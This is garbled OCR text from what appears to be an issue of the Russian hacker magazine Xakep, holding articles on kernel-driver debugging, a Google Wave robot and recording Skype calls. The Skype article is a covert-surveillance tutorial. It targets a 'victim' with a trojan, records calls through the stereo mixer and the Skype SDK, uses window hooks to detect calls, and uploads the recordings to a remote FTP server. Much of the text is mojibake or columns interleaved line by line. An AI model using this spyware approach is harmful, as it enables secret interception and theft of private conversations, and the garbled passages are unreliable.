поможет тебе в от- #define MY_BUGCHECK_CODE 0xdeadbeaf чистая (на ней не установлены драйверы антивирей,
ладке и дебаге твоего __inline void _myBugCheck(char * File, int файров и проактивок), то этот багчек в 99.99% процен-
кода. Line) тах случаев прямо указывает на твои, прости за пря-
{ моту, кривые руки. Причиной, скорее всего, окажется
KdPrint((«À-À-À-À! Help! Help! Execution неинициализированная переменная или же нулевой
failed in file %s at line %d\n», File, Line)); указатель.
KeBugCheckEx(MY_BUGCHECK_CODE , line, 0, 0, Второй багчек — IRQL_NOT_LESS_OR_EQUAL. В ста-
0); бильно работающей системе этот багчек практически
HTTP://WWW } не встречается. Его причина всегда одна — в твоем
загруженном драйвере была осуществлена попытка об-
links #define MyBugCheck() _myBugCheck(__FILE__, ратиться к странице памяти на уровне DISPATCH_LEVEL,
http://www.rsdn.ru/ __LINE__) что и привело к падению.
forum/asm — лучший #define MyAssertAlways(x) if (!(x)) { Несмотря на явно видимые причины возникновения, баг
форум для твоего MyBugCheck(); } часто встречается у начинающих драйверописателей
времяпрепровож- #if DBG из-за незнания одной вещи — все системные функции
дения. #define MyAssert(x) MyAssertAlways(x) ядра выполняются на разных IRQL. Если внимательно
#else почитать DDK, то можно увидеть, что в каждом описании
#define MyAssert(x) системной функции в самом конце имеется объявление,
#endif которое прямо указывает, на каком уровне IRQL выполня-
ется данная функция. Как устранить этот багчек? Грамот-
DRIVER VERIFIER ное решение: использовать WorkItem’ы — специально
В стандартный состав Windows DDK входит замечатель- разработанный механизм, предназначенный именно
ная тулза, которую очень часто игнорируют начинающие для таких случаев. Он выполняет отложенное програм-
разработчики драйверов уровня ядра — Driver Verifier. мистом действие, которое будет выполнено на прием-
Она специально предназначена для того, чтобы вы- лемом уровне IRQL. Кстати, если не ошибаюсь, в .NET
являть ошибки, возможно, допущенные в драйвере. Если Framework, начиная со второй версии, также появился
таковые будут обнаружены — Driver Verifier сгенерирует класс WorkItem’ов, предназначенных для выполнения
BSOD, в котором будут подробно показаны причины его отложенных операций, хотя принципы этого класса рабо-
возникновения. Driver Verifier поможет тебе выявить ты в CLR, конечно же, отличаются от Win32 Native.
самые часто встречающиеся ошибки, возникающие
при использовании памяти, обнаружении взаимобло- Используем WorkItem’ы в коде
кировок, слежении за уровнем IRQL и многое другое. if (KeGetCurrentIrql() != PASSIVE_LEVEL)
Для проведения проверки достаточно выбрать драйвер {
из имеющегося списка или загрузить свой, после чего struct DelayedParameters *param =
стартовать сам драйвер. (struct DelayedParameters *)

088 XÀÊÅÐ 01 /133/ 10


>> coding

ПРИЧИНА BSOD’А — НУЛЕВОЙ УКАЗАТЕЛЬ В ДРАЙВЕРЕ

ÇÀÊËÞ×ÅÍÈÅ
Приведенные здесь советы должны помочь тебе в успешном
дебаггинге. Если ты всерьез увлекаешься разработкой драйверов
уровня ядра, будь то системы защиты или же написание не совсем
добропорядочных зверушек, хотя и редко, но на стадии тестиро-
вания будут встречаться ситуации, которые смогут поставить тебя
в тупик. Это связано с одной единственной причиной: в работу
ядра успешно вмешиваются разработчики всяческих проактивных
защит, файрволов и антивирей. Логика их действий практически
всегда скрыта от посторонних глаз (ну правильно, кто же будет
палить алгоритм своих действий — ведь его «непубличность» и
является гарантией успешности). Встраиваясь в эту систему, ты
невольно ее нарушаешь, а ядро очень нервно реагирует на всякие
ДЛЯ ПОЛНОЦЕННОЙ РАБОТЫ С WINDBG НЕОБХО- попытки изменения существующего баланса. Как результат — ты
ДИМ ПАКЕТ СИМВОЛОВ будешь лицезреть BSOD практически на ровном месте. Например,
это касается разработки всяческих сетевых фильтров — существу-
ющие коммерческие файрволы, как правило, перехватывают си-
стемные вызовы как на NDIS уровне, так и уровне TDI-интерфейса.
malloc(sizeof(*param)); Однако, какова именно логика их перехвата — не всегда известно
memset(param, 0, sizeof(*param)); и значит заранее неизвестно, как будут вести себя твой драйвер и
ExInitializeWorkItem(&param->item, драйвер файрвола в одном стеке. К примеру, у меня была ситуа-
DelayedFunction, param); ция, что драйвер приложения «ESET Smart Security» epfwtdi.sys
ExQueueWorkItem(&param->item, DelayedWorkQueue); (фильтрующий TDI-трафик), вылетал с BSOD, когда мне приспичи-
} ло ковыряться с содержимым сетевого IRP-пакета. Как результат —
малоинформативный BSOD c кодом KERNEL_MODE_EXCEPTION_
В данном коде, если текущий уровень IRQL будет выше, чем PASSIVE_ NOT_HANDLED_M.
LEVEL, выполнение функции DelayedFunction будет отложено на В этой ситуации точно обозначить причину, послужившую причиной
более поздний срок = т.е., когда ядро «поймает» для этого подходя- BSOD’а, с первого раза можно было лишь словами: «Она утонула».
щий уровень IRQL. Развернутый пример использования WorkItems Если появились вопросы, пиши, обсудим. Удачного компилирования
для работы в ядре ищи на диске. и да пребудет с тобой Сила! z

XÀÊÅÐ 01 /133/ 10 089


CODING
АЛЕКСАНДР
РОМАН «PRESIDENTUA»
ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU
ХОМЕНКО HTTP://TUTAMC.COM

ÐÎÁÎÒ
ÄËß GOOGLE
WAVE
ÍÀÏÈØÅÌ
ÅÃÎ ÍÀ PYTHON’Å!
«ËÀÄÍÎ, ß ÏÎÑÒÐÎÞ ÑÂÎÉ
ÑÎÁÑÒÂÅÍÍÛÉ ÌÎÄÓËÜ
Ñ ÁËÅÊ-ÄÆÅÊÎÌ È ØËÞÕÀÌÈ.
ÂÎÎÁÙÅ-ÒÎ, Ê ×ÅÐÒÓ ÌÎÄÓËÜ È
ÁËÅÊ-ÄÆÅÊ»... ÊÀÊÈÅ ÕÎÐÎØÈÅ
ÑÎÂÅÒÛ ÌÎÃÓÒ ÄÀÂÀÒÜ ÐÎÁÎÒÛ!
ÎÒËÈ×ÍÎ, ÑÅÃÎÄÍß ß ÐÀÑÑÊÀÆÓ
ÒÅÁÅ, ÊÀÊ ÏÎÑÒÐÎÈÒÜ ÑÂÎÅÃÎ
ÌÀËÅÍÜÊÎÃÎ ÐÎÁÎÒÀ. ÍÀÏÐÈÌÅÐ,
ÄËß ÍÎÂÎÌÎÄÍÎÃÎ GOOGLE WAVE.

090 XÀÊÅÐ 01 /133/ 10


G
oogle Wave получил хороший пиар, и думаю, в этом мире не
сыскать того, кто не слышал о нем (не считая соседа Толика,
который в запое :)). Нельзя исключить, что пиар даже
немножко повредил Волне, позиционируя это явление при-
роды как убийцу почты, форумов и чуть ли не всего осталь-
ного интернета. Лично для меня Волна — это достаточно классно
сделанный IRC с хорошим API. С помощью которого мы можем созда-
вать гаджеты и, что интереснее, роботов, которые могут расширять
возможности Wave под любые нужды.

ÐÎÁÎÒ API
Робот для Wave будет представлять собой e-mail с аватаркой, описа-
нием и закрепленными за ним событиями. Событий у нас будет около
15 штук, но для большинства случаев хватит и двух:

WAVELET_SELF_ADDED
BLIP_SUBMITTED

Первое событие возникает, когда мы добавляем робота на какую-


либо волну. Второе событие проявляется в случае, когда кто-то
добавляет сообщение, причем это сообщение возникает в момент
нажатия на кнопку «Done». Вообще, в контексте программирования
волны Google вводит несколько понятий:
- wave — полностью весь Wave;
- wavelet — обозначает конкретную волну;
- blip — одно сообщение.
Помнишь в позапрошлом номере я тебе рассказывал о Google App
Engine(GAE)? Так вот, на данный момент роботов можно строить лишь
с использованием GAE. О WAVE УЖЕ И КНИЖКИ ПОЯВИЛИСЬ

Ê ÏÐÀÊÒÈÊÅ!
Теория в случаях с Гуглом сложнее, чем практика, поэтому не будем на ственно, мы должны иметь возможность подписывать свой джаббер
ней задерживаться и перейдем сразу к созданию робота. Все проекты на обновления и удаляться из рассылки. В тексте приходящего
на GAE начинаются с пустой папки и файла app.yaml, в котором мы сообщения будет содержаться мейл автора и текст новой мессаги.
установим, что все запросы от wave будет обрабатывать скрипт jbot.py: Нам нужно будет перехватывать событие WAVELET_SELF_ADDED
для вывода справки о командах и перехватывать BLIP_SUBMITTED с
handlers: целью рассылки уведомлений.
- url: /_wave/.* Начнем прогить файл робота jbot.py, поместив в начале импорт не-
script: jbot.py обходимых библиотек:
- url: /assets
static_dir: assets
ПАРОЧКА ФАКТОВ
Давай теперь определим ТТХ нашего робота. Пусть он должен уве-
домлять нас по джабберу о новых сообщениях в Волну. И, соответ- Ðàáîòà íàä ïðîåêòîì Wave íà÷àëàñü â 2007 ãîäó. Îñíîâíûìè ðàç-
ðàáîò÷èêàìè ïðîãðàììíîãî îáåñïå÷åíèÿ áûëè áðàòüÿ Ëàðñ è Éåíñ
Ðàñìóññåíû, òàêæå ÿâëÿþùèåñÿ ãëàâíûìè ðàçðàáîò÷èêàìè Google
Maps.
Google Wave èñïîëüçóåò òåõíîëîãèè, ïðåäîñòàâëåííûå âîçìîæ-
íîñòÿìè HTML 5. Íåêîòîðûå ôóíêöèè â íàñòîÿùåå âðåìÿ äîñòóïíû
òîëüêî ïîñëå óñòàíîâêè Google Gears.
Òåõíîëîãèÿ Google Wave ïîäðàçóìåâàåò îòêðûòîñòü ïðîòîêîëîâ
è ïðîãðàììíîãî îáåñïå÷åíèÿ (ïîä ëèöåíçèåé Apache Software
License), ÷òî ïîçâîëÿåò ðàçâåðòûâàòü ñîáñòâåííûå ñåðâåðû Google
Wave êàê ïîäêëþ÷åííûå è ñèíõðîíèçèðóåìûå, òàê è íå ïîäêëþ-
÷åííûå ê ñåðâåðàì Google. Âî âòîðîì ñëó÷àå ñîîáùåíèÿ ìåæäó
ïîëüçîâàòåëÿìè ëîêàëüíîé èíñòàëëÿöèè íå áóäóò ïåðåäàâàòüñÿ âî
âíåøíþþ ñåòü.
Íàçâàíèå íàâåÿíî ñåðèàëîì «Ñâåòëÿ÷îê», â êîòîðîì «âîëíà» — ýòî
ýëåêòðîííàÿ êîììóíèêàöèÿ (÷àñòî ñ âèäåî-çâîíêîì èëè âèäåî-
ñîîáùåíèåì). Íà ïðåçåíòàöèè äëÿ ðàçðàáîò÷èêîâ Google I/O Ëàðñ
Ðàñìóññåí îòâå÷àë íà íåêîòîðûå ôðàçû — «áëåñòÿùå» (àíãë. shiny),
òî åñòü èñïîëüçîâàë ñëîâî, îáû÷íî ïðèìåíÿåìîå â ýòîì ñåðèàëå
â ñìûñëå «çäîðîâî».  êà÷åñòâå ñîîáùåíèÿ îá îòêàçå ñèñòåìû â
Google Wave èñïîëüçîâàíà ïîïóëÿðíàÿ öèòàòà èç ñåðèàëà — «Áóäü
ïðîêëÿòî âàøå âíåçàïíîå, íî íåèçáåæíîå ïðåäàòåëüñòâî!».
WHY ARE YOU NOT TRYING TO KILL ME BENDER?

XÀÊÅÐ 01 /133/ 10
091
CODING

INFO

info
Хорошо быть пер-
вым? Да! Поэтому
к моменту запу-
ска Wave в паблик
желательно уметь на-
писать к нему крутой А ТАК WAVE ВЫГЛЯДИТ ДЛЯ ЮЗЕРОВ
спамер или что-то
в этом роде :). waveid = context.GetRootWavelet().GetWaveId()

Затем обработаем событие добавления робота на волну.


При получении данного события мы добавим текстовое
КСТАТИ, В 2010-М НАМ ОБЕЩАЮТ НОВЫЕ сообщение в волну с описанием команд, которые наш
СЕРИИ FUTURAMA! бот сможет принимать:

def addBlip(context, string):


from waveapi import events context.GetRootWavelet().CreateBlip().\
from waveapi import robot GetDocument().SetText(string)
DVD
Создадим объект робота, передав название, адрес ава- def OnRobotAdded(properties, context):
тарки, версию и адрес сайта робота. Заметь, что версию addBlip(context,"I'm alive!\n
dvd нужно обязательно менять, если изменяется список со- Command:\n
•Исходники бота со бытий, потому что новые события в этом случае не будут wabber-bot add me: jabber@jabber.ja\n
всеми либами ждут работать. wabber-bot remove me: jabber@jabber.ja")
тебя на диске
myRobot = robot.Robot('w-mailrobot', Здесь для будущего удобства мы добавили функцию по
•Как всегда, снял для image_url='http://w-mailrobot.appspot.com/ добавлению сообщений — addBlip. А потом уже отправи-
тебя видео про тести- images/avatar.png', ли само сообщение.
рование своего бота. version='1',
Надеюсь, заценишь! profile_url='http://w-mailrobot.appspot. ÄÆÀÁÁÅÐ
com/') Сейчас нам с тобой придется научиться отсылать из GAE
сообщения на джаббер. Для этого активируем соответствую-
Теперь добавим перехват нужных событий и сам запуск щий функционал путем добавления в файл настроек app.yaml
робота: нескольких строчек:

HTTP://WWW myRobot.RegisterHandler(events.WAVELET_SELF_ inbound_services:


ADDED, OnRobotAdded) - xmpp_message
links myRobot.RegisterHandler(events.BLIP_
• Описание внутрен- SUBMITTED, OnBlipSubmitted) Вуаля, теперь мы можем юзать функции для отправки
него протокола Wave: myRobot.Run() запроса авторизации и самих сообщений:
waveprotocol.org.
В процессе регистрации перехватчиков мы указывали from google.appengine.api.xmpp \
• Сам Google Wave: OnRobotAdded, OnBlipSubmitted — это названия функ- import send_message, send_invite
https://wave.google. ций, которые будут вызываться при активизации собы- #ïðîñüáà àâòîðèçàöèè
com. тия. Они должны принимать два параметра: properties, send_invite("êîìó")
context. #îòîñëàòü ñîîáùåíèå
• Wave API на рус- В properties будет содержаться информация относи- status = send_message("êîìó", «òåêñò ñîîáùå-
ском: тельно конкретного события, а в context — информация íèÿ»)
http://code.google. об окружении, о волне, где событие возникло. Именно
com/intl/ru-RU/apis/ через работу с context мы можем добавить новое В процессе программирования под Google Wave иногда
wave. сообщение в волну, вызвав такую длинную цепочку не очень понятно, почему что-то не работает. Исходя
функций: из этого, нам обязательно нужно использовать модуль
logging. В GAE после его импортирования мы можем до-
context.GetRootWavelet().CreateBlip(). бавлять сообщения разной степени важности:

GetDocument().SetText(string) logging.info('info')
logging.error('error')
Также из нее можно достать идентификатор волны, кото-
рый нам позже понадобится: Обработчик этих сообщений автоматически добавит

092 XÀÊÅÐ 01 /133/ 10


>> coding

информацию о них в базу данных. И мы, зайдя в админку, сможем их


просматривать.

ÁÛË BLIP?
Для завершения работы осталось сделать последний шаг — напи-
сать OnBlipSubmitted — обработчик события о новом сообщении.
Функция эта будет способна обрабатывать три ситуации:
• была команда «добавить джабер в лист оповещения»;
• была команда «удалить джабер с листа оповещения»;
• не было команды, тогда — разослать это сообщения по подпис-
чикам.
Алгоритм ясен? Выразим его скупыми строчками программного
кода:

def OnBlipSubmitted(properties, context):


blip = context.GetBlipById(properties[‘blipId’]) ОБОБЩЕННАЯ СХЕМА WAVE
text_blip = blip.GetDocument().GetText()

if text_blip.startswith('wabber-bot add me:'):


#äîáàâèòü þçåðà
return if text_blip.startswith('wabber-bot add me:'):
creator = text_blip[18:].strip()
if text_blip.startswith('wabber-bot remove me:'): count = WaveModel.all().filter('wave = ', waveid).\
#óäàëèòü þçåðà filter('user =', creator).count()
return if count:
#ðàçîñëàòü âñåì ñîîáùåíèå return

ÁÀÇÀ ÄÀÍÍÛÕ WaveModel(


Для сохранения привязки джаббер-акка к волне нам будет нужна wave = waveid,
база с двумя полями, одним для идентификатора волны и вторым для user = creator
джаббера: ).put()
send_invite(creator)
from google.appengine.ext import db addBlip(context, "%s was added"%creator)
class WaveModel(db.Model): return
wave = db.StringProperty()
user = db.StringProperty() Как видим, мы не только добавляем юзера в базу данных, но и присы-
лаем запрос авторизации — чтобы остальные сообщения доставля-
Все готово к непосредственной обработке команд и добавлению лись без затруднений. Принцип удаления пользователя из рассылки
пользователей в БД: практически аналогичен, а точнее — намного проще. Ознакомься с
тремя главными строчками:

ЕЩЕ ПАРОЧКА WAVE API-КОМАНД rez = WaveModel.all().filter('wave = ', waveid).


filter('user =', creator)
Äîïóñòèì, ìû ïîëó÷èëè ñîîáùåíèå: for i in rez:
i.delete()
blip = context.GetBlipById(properties['blipId'])
Если же никакой команды нет, то достаем из базы всех, кто подпи-
Äîáàâèòü òåêñò â êàêóþ-òî ïîçèöèþ: сался, и отправляем им сообщение:

blip.GetDocument().InsertText(pos, text) all_u = WaveModel.all().filter('wave = ', waveid)


for u in all_u:
Äîáàâèòü òåêñò â êîíåö ñîîáùåíèÿ: status = send_message(u.user,
"New message from %s:\n%s"%(blip_creator, text_blip))
blip.GetDocument().AppendText(ÒÅÊÑÒ)
Видишь, как просто? Мы так долго готовились к реализации работы
Óäàëèòü ìîæíî êîìàíäîé: с командами, а на деле получилось лишь несколько строчек сухого и
безжалостного программного кода.
blip.Delete()
ËÞÄÈ ÈËÈ ÁÅÍÄÅÐ?
Ñîçäàòü ññûëêó: После написания робота я залил его на GAE, и теперь ты можешь до-
бавить wabber-robot@appspot.com к себе в контакты. По идее, нужно
doc = wavelet.CreateBlip().GetDocument() еще добавить подтверждения для джабера, чтобы только пользо-
doc.SetAnnotation(Annotation(Range(0, 5), ватель мог себя добавить в список. А то ведь получается, что любой
"link/manual", "http://xakep.ru")) джаббер-аккаунт можно будет заспамить…хотя, наверное, это не баг,
doc.SetText("XAKEP") а фича. В общем, до новых встреч! Ну, Фрай, было приятно познако-
миться, пойду, убью себя ©. z

XÀÊÅÐ 01 /133/ 10 093


CODING
АЛЕКСАНДР
ИГОРЬ АНТОНОВ
ЭККЕРТ
HTTP://TWITTER.COM/ANTONOVI
ALEKSANDR-EHKKERT@RAMBLER.RU

прослушкa

ÕÀÊÅÐÑÊÈÉ ÏÎÄÕÎÄ
Ê ÐÅÇÅÐÂÍÎÌÓ ÊÎÏÈÐÎÂÀÍÈÞ
VOIP-ÐÀÇÃÎÂÎÐÎÂ
ÑÊÀÉÏ, ÁÅÑÑÏÎÐÍÎ, ÐÓËÈÒ. ÅÑËÈ ÐÀÍÜØÅ ÍÀÌ ÍÓÆÍÎ ÁÛËÎ ×ÀÑÀÌÈ
ÎÒÂÈÑÀÒÜ Â ÒÅÊÑÒÎÂÛÕ ×ÀÒÀÕ, ÍÀÁÈÂÀß ÊÈËÎÁÀÉÒÛ ÈÍÔÎÐÌÀÖÈÈ,
ÒÎ ÒÅÏÅÐÜ, ÁËÀÃÎÄÀÐß ÐÀÑÏÐÎÑÒÐÀÍÅÍÈÞ ÁÅÇËÈÌÈÒÍÎÃÎ ÈÍÅÒÀ
ÂÏËÎÒÜ ÄÎ ÐÎÑÑÈÉÑÊÎÉ ÃËÓÁÈÍÊÈ, ÄÀÆÅ ÑÀÌÛÅ ÓÄÀËÅÍÍÛÅ ÎÒ
ÑÒÎËÈÖÛ ÈÍÒÅÐÍÅÒ×ÈÊÈ ÌÎÃÓÒ ÏÎÇÍÀÒÜ ÐÀÄÎÑÒÜ ÃÎËÎÑÎÂÎÃÎ
ÎÁÙÅÍÈß.

094 XÀÊÅÐ 01 /133/ 10


Õ
акера же все это голосовое общение может только рас- Вариант неплохой, но крайне неудобный. Я пошел несколько другим
строить. Ведь теперь гениальные keylog’еры, которые путем и воспользовался наработками Mark Heath.
он научился мастерить из подручных инструментов, Этот человек потрудился на славу и создал проект NAudio — аудиоредак-
начинают нервно курить в сторонке. Общение голосом тор с открытым исходным кодом. В рамках проекта Марк написал каркас,
хуками не перехватишь! Что же делать? Смириться и позволяющий максимально удобно взаимодействовать с различными
уходить на заслуженную ][-пенсию? Ни в коем случае! Я провел WinAPI-функциями для работы со звуком.
все необходимые исследования по захвату скайп-переговоров NAudio доступен на нашем DVD. Просто подтяни его модули к своему про-
(редактор рубрики обещал поставить смертельную инъекцию, екту и тебе станут доступны все необходимые классы. Записывать звук с
если я их не закончу) и прямо сейчас готов поделиться их ре- их помощью крайне просто. Да ты, наверное, в этом уже убедился :).
зультатами. Let’s go! В самом начале листинга я определяю формат WAV-файла. Для этого мне
требуется установить количество каналов (в нашем случае будем писать в
ÑÏÎÑÎÁÛ ÏÅÐÅÕÂÀÒÀ mono) и частоту сэмпла. Кроме настроек формата аудиофайла, мне требуется
С целью мы определились и теперь нужно начитаться скучной теории, определить устройство (device number), с которого мы будем захватывать звук.
без которой в таком деле продвинуться нереально. Прогуляйся по улице, Я устанавливаю 0, что соответствует устройству записи «по умолчанию».
свари себе чашечку глинтвейна, расположись удобнее в кресле и на- Узнавать об очередной порции поступивших на звуковую карту данных
чинай впитывать священные знания. нам может событие waveIn_DataAvaible(). Если оно сработало, то значит
пришли данные и их требуется записать.
ÑÏÎÑÎÁ #1
Буквально в начале октября 2009 года один умелец написал продвинутый À ÂÎÒ È ÏÅÐÂÛÅ ÌÈÍÓÑÛ
снифер, о котором написали во всех security-ресурсах всемирной паути- Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для
ны. Если верить новостям и автору снифа, то выходит, что перцу удалось Skype. Предложенный мной способ хорош и полностью работоспособен,
перехватить скайп-трафик (ну, это можно было сделать и раньше) и, что но у него есть несколько минусов, о которых тебе необходимо узнать за-
самое главное — расшифровать его. ранее. Некоторые из них:
Обойти такое событие стороной я не мог, поэтому немедленно решил 1. Нет никаких гарантий, что в системе пользователя стерео-микшер
найти заветный исходничек (автор снифера был чертовски добр и вы- вообще будет активен. Да, он включен по умолчанию, но многие поль-
ложил на паблик полный сорец), но жестко обломался. Враги народа зователи принудительно отключают его. Зачем? Лично мне приходится
убрали заветный сорец с сабжевого сайта, а часовой марш-бросок по это делать из-за того, что я пишу подкасты и мне крайне важно, чтобы
гуглу нормальных результатов не дал. Мне лишь попадались какие-то звук захватывался лишь с моего микрофона, а не голоса соведущего.
нерабочие сорцы. Твоя программа должна быть готова к такому положению дел и в случае
Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вы- чего суметь самостоятельно внести нужные настройки. Вот здесь воз-
шло, то зачем я все это тебе рассказываю? Все просто, ситуация меняется никают небольшие сложности, но разве кто-то говорил, что будет совсем
каждый день и вполне возможно, что к моменту выхода статьи в свет на просто?
просторах всемирной паутины появятся рабочие сорцы этого тройчи- 2. Нет четкого ориентира, на который можно опереться и 100% заве-
ка. Чем черт не шутит. Учти, если удастся найти заветный исходник, то рить, что именно сейчас пользователь начал общаться со своим собе-
считай, что у тебя в руках все козыри и теперь все скайперы станут для седником. На одном из кодерских форумов для решения данной тра-
тебя мишенями. блы предлагали следующий способ: анализировать звук, поступающий
на микрофон и в случае обнаружения больших скачков звуковой волны
ÑÏÎÑÎÁ #2 (т.е. когда человек начинает орать/говорить) приступать к записи. Для
Несомненно, первый способ — самый лучший, но с реализацией реаль- прерывания следует руководствоваться примерно таким алгоритмом
ный напряг. Буду откровенен: я уже отчаялся и хотел положить на всю за- — ждем тишины и, если она длится более n минут, прекращаем захват
тею железный болт, но редактор рубрики был другого мнения. После пары звука.
намеков, двух ударов по почкам и печени я не смог отказать в подготовке Предложенный алгоритм, несомненно, хорош, но в описанном выше
материала. Как оказалось, сделал я это не зря. виде им лучше не пользоваться. Попробую объяснить, почему. Заюзав
Если не получается достичь цели напрямую, то нужно заходить с тылу. Так данный способ в чистом виде, ты рискуешь напороться на большое коли-
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно,
ты уже даже юзал эту фичу для какого-нибудь благого дела.
ЗАПИСЫВАЕМ ЗВУК
Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича — стерео-
микшер. Немногие знают, что благодаря этой, казалось бы, бесполезной //Ïîäãîòàâëèâàåìñÿ ê çàïèñè
приблуде и какого-нибудь языка программирования реально сварганить waveIn = new WaveIn();
полноценного skype-шпиона. waveIn.DeviceNumber = 0;
Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе waveIn.DataAvailable += waveIn_DataAvailable;
становятся подвластными оба звуковых потока — тот, которой идет на int sampleRate = 8000;
микрофон и соответственно тот, который поступает на колонки/наушники. int channels = 1;
Догадываешься, к чему я клоню? Все верно, чтобы зарипать беседу двух waveIn.WaveFormat = new WaveFormat(
людей по скайпу, тебе лишь потребуется воспользоваться стандартным sampleRate, channels);
WinAPI/объектами для записи звука с микрофона. waveIn.StartRecording();
Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув
на врезку 1. В ней я привел часть кода, отвечающего за запись звука. Не void waveIn_DataAvailable(object sender,
торопись все это переписывать, сразу он у тебя все равно не скомпилится. WaveInEventArgs e)
Увы, несмотря на всю мощь и безграничные возможности .NET {
Framework, в нем совершенно отсутствуют инструменты для записи if (recordingState == RecordingState.Recording)
звука. Несомненно, в будущих версиях этот пробел будет восполнен, но writer.WriteData(e.Buffer, 0, e.BytesRecorded);
мы-то ждать не можем! …
Многие .NET-разработчики для организации в своих приложениях }
возможности записи звука используют банальные вызовы API-функций.

XÀÊÅÐ 01 /133/ 10 095


CODING

WARNING

warning
Подслушивание
чужих разговоров —
глубоко незаконная
вещь. Используй
полученную инфор-
прослушкa
мацию только для
создания бэкапера
своих разговоров!

DVD

dvd
Все используемые в
статье инструменты
(библиотеки, классы,
SDK) ты найдешь на
нашем DVD.

ИНСТАЛЛИРУЕМ SDK В ОДИН КЛИК

чество ложных срабатываний. Если на вражеской террито-


рии микрофон лежит возле колонок, из которых без устали
звучит heavy metal, то твой трой будет постоянно вести
запись, и во время сбора урожая ты обнаружишь, что у тебя
появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд?
Можно, но это как-то не по-хакцерски.
Я провел небольшой мозговой штурм и пришел к выводу,
что озвученным выше способом пользоваться можно, но
только предварительно организовав страховку. Страховка
может быть, как минимум, двух видов:
1. ÕÓÊÈ. В нашем журнале мы неоднократно описывали тех-
нику применения хуков, и еще раз расписывать все под-
робности и, тем более, приводить примеры, меня сильно
обламывает. Ты уже не маленький и такие вещи должен
знать :). Я лишь подскажу алгоритм:
УСТАНОВКА БИБЛИОТЕКИ ВЗАИМОДЕЙСТВИЯ A. Ставим хук на обработку создания новых окон.
СО СКАЙПОМ B. Реализуем проверку, в которой обрабатываем каждое

096 XÀÊÅÐ 01 /133/ 10


>> coding

СКАЙП ТРЕБУЕТ РАЗРЕШЕНИЯ НА ЗАПУСК

вновь созданное окно. В коде проверки мы должны смотреть на: роди-


теля окна, класс окна, заголовок и т.д. По этим признакам мы можем
распознать окно входящего Skype-звонка и в случае чего начать запись.
2. ÔÓÍÊÖÈÈ ÄËß ÐÀÁÎÒÛ Ñ ÎÊÍÀÌÈ. Вторым вариантом решения задачи
будут хорошо знакомые тебе WinAPI-функции для работы с окнами.
РАЗРАБОТКА
Ты ведь еще помнишь такие слова, как FindWindow, EnumWindows,
EnumChildWindows и т.д.? С помощью этих API реализовывается
банальный поиск окна входящего звонка. Если окно найдено, то это поощряют людей, имеющих желание разрабатывать всякие полезняшки
означает, что жертва начала базарить по скайпу, в противном случае для их детища. Само поощрение выражается в разработке и обновлении
нужно выполнить поиск чуть попозже. Периодичность поиска должна официального SDK.
быть минимальной, иначе ты рискуешь пропустить секретные звонки. На основе компонент, входящих в SDK, программисты могут созда-
вать аддоны или просто приложения на базе Skype. В качестве одной
ÑÏÎÑÎÁ #3 из вкусностей этого наборчика можно выделить наличие примеров
И вот мы медленно, но верно добрались до самого простого и удобного для разных популярных языков программирования. Тут тебе и C++, и
способа записи skype-бесед. Немногие знают, что разработчики Skype C#, и даже великий и могучий Delphi не забыт (кстати, не все в курсе,

ЗАПИСЬ ВХОДЯЩИХ ЗВОНКОВ В ФАЙЛ FTP-КЛИЕНТ СРЕДСТВАМИ КЛАССА


НА ОСНОВЕ КЛАССА FTP DOT .NET
try
{ try
// Çàïèñü âõîäÿùåãî çâîíêà {
if (status == TCallStatus.clsInProgress) FtpConnection myFtpConnection =
{ new FtpConnection();
//Çàõâàòûâàåì çâóê è ñîõðàíÿåì åãî â myFtpConnection.MessageReceived +=
//ôàéë (ïîòîê ïîëüçîâàòåëÿ) new FtpConnectionEventHandler(
call.set_CaptureMicDevice( connection_MessageReceived);
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_user" + myFtpConnection.Host = "ftp://myftpserver";
call.Id.ToString() + myFtpConnection.UserName = "username";
".wav"); myFtpConnection.Password = "password";
myFtpConnection.RemoteDirectory =
// Çàõâàòûâàåì çâóê è ñîõðàíÿåì åãî "/temp/testforxakep";
// â ôàéë (âñåõ îñòàëüíûõ ñîáåñåäíèêîâ)
call.set_OutputDevice( myFtpConnection.Upload(
TCallIoDeviceType.callIoDeviceTypeFile, @"C:\temp\sound.part1.mp3",
@"C:\temp\sound_people" + call.Id.ToString() "sound.part1.mp3");
+ ".wav"); }
}
} catch (WebException ex)
{
catch (Exception e) Console.WriteLine(ex.ToString());
{ }
//Âûâåäåì îøèáêè
AddTextToTextBox1(DateTime.Now.ToLocalTime() + catch (Exception ex)
": " + {
" Our Code — Íåâîçìîæíî âûïîëíèòü çàõâàò àóäèî: " + Console.WriteLine(ex.ToString());
call.Id.ToString() + }
" — Èñòî÷íèê îøèáêè: " +
e.Source + void connection_MessageReceived(object sender,
" — Òåêñò îøèáêè: " + FtpConnectionEventArgs e)
e.Message + "\r\n"); {
} Console.WriteLine(e.Message);

XÀÊÅÐ 01 /133/ 10 097


CODING

ФОРУМ ПОДДЕРЖКИ РАЗРАБОТЧИКОВ

но сам Skype написан на Delphi). Одним словом, этот SDK — рай для Перейди в редактор кода и найди описание метода OurCallStatus. В его
программистов, решивших поковырять Skype. теле описано получение различной инфы о текущем звонке. Это все
Для нас с тобой SDK — это даже круче, чем рай. На базе этого каркаса хорошо и безумно интересно, но мы хотим другого. Сотри имеющийся код,
мы сможем не только записать голосовое общение пользователя, но и и вместо него перепиши содержимое третьей врезки. Пока ты будешь
перехватить полученные и отправленные им текстовые сообщения, фай- переписывать, я расскажу о том, что там происходит.
лы, совершить звонок от его имени и т.д. Но не будем бежать впереди В самой первой строке я выполняю проверку и сравниваю значение пе-
паровоза, восхваляя то, что еще пробовали, а познакомимся со всеми ременной status с со значением clsInProgress перечисления TCallStatus
нюансами на примере. Лезь на наш DVD и устанавливай SDK. Установка (ух, настальгическая дельфячья буковка T перед именем типа :)). Если они
не должна вызвать затруднений. Просто запусти файлик из папочки SDK равны, то беседа в самом разгаре и пора начинать запись звука.
и соглашайся со всем, что у тебя спросят. Завершив установку — за- Теперь приготовься и не упади со стула, когда узнаешь, что запись осу-
